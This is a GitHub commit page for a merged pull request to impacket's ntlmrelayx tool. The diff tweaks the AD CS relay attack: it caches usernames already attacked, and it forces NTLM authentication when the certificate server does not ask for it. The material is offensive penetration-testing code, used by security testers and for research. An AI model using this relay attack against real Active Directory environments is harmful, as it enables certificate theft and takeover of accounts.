Skip to content

Commit da1d564

Browse files
authored
Merge pull request #1 from Tw1sm/ntlmrelayx-adcs-attack
Fix when cert server does not request NTLM auth
2 parents 5f1ced6 + ed9fd5a commit da1d564

File tree

2 files changed

+11
-1
lines changed

2 files changed

+11
-1
lines changed

impacket/examples/ntlmrelayx/attacks/httpattack.py

Lines changed: 7 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -21,6 +21,9 @@
2121
from impacket.examples.ntlmrelayx.attacks import ProtocolAttack
2222

2323
PROTOCOL_ATTACK_CLASS = "HTTPAttack"
24+
# cache already attacked clients
25+
ELEVATED = []
26+
2427

2528
class HTTPAttack(ProtocolAttack):
2629
"""
@@ -62,6 +65,9 @@ def adcs_relay_attack(self):
6265
key = crypto.PKey()
6366
key.generate_key(crypto.TYPE_RSA, 4096)
6467

68+
if self.username in ELEVATED:
69+
print('[*] Skipping user %s since attack was already performed' % self.username)
70+
return
6571
csr = self.generate_csr(key, self.username)
6672
csr = csr.decode().replace("\n", "").replace("+", "%2b").replace(" ", "+")
6773
print("[*] CSR generated!")
@@ -77,6 +83,7 @@ def adcs_relay_attack(self):
7783
print("[*] Getting certificate...")
7884

7985
self.client.request("POST", "/certsrv/certfnsh.asp", body=data, headers=headers)
86+
ELEVATED.append(self.username)
8087
response = self.client.getresponse()
8188

8289
if response.status != 200:

impacket/examples/ntlmrelayx/clients/httprelayclient.py

Lines changed: 4 additions & 1 deletion
Original file line numberDiff line numberDiff line change
@@ -63,7 +63,10 @@ def sendNegotiate(self,negotiateMessage):
6363
return False
6464
except (KeyError, TypeError):
6565
LOG.error('No authentication requested by the server for url %s' % self.targetHost)
66-
return False
66+
if self.serverConfig.isADCSAttack:
67+
LOG.info('IIS cert server may allow anonymous authentication, sending NTLM auth anyways')
68+
else:
69+
return False
6770

6871
#Negotiate auth
6972
negotiate = base64.b64encode(negotiateMessage).decode("ascii")

0 commit comments

Comments
 (0)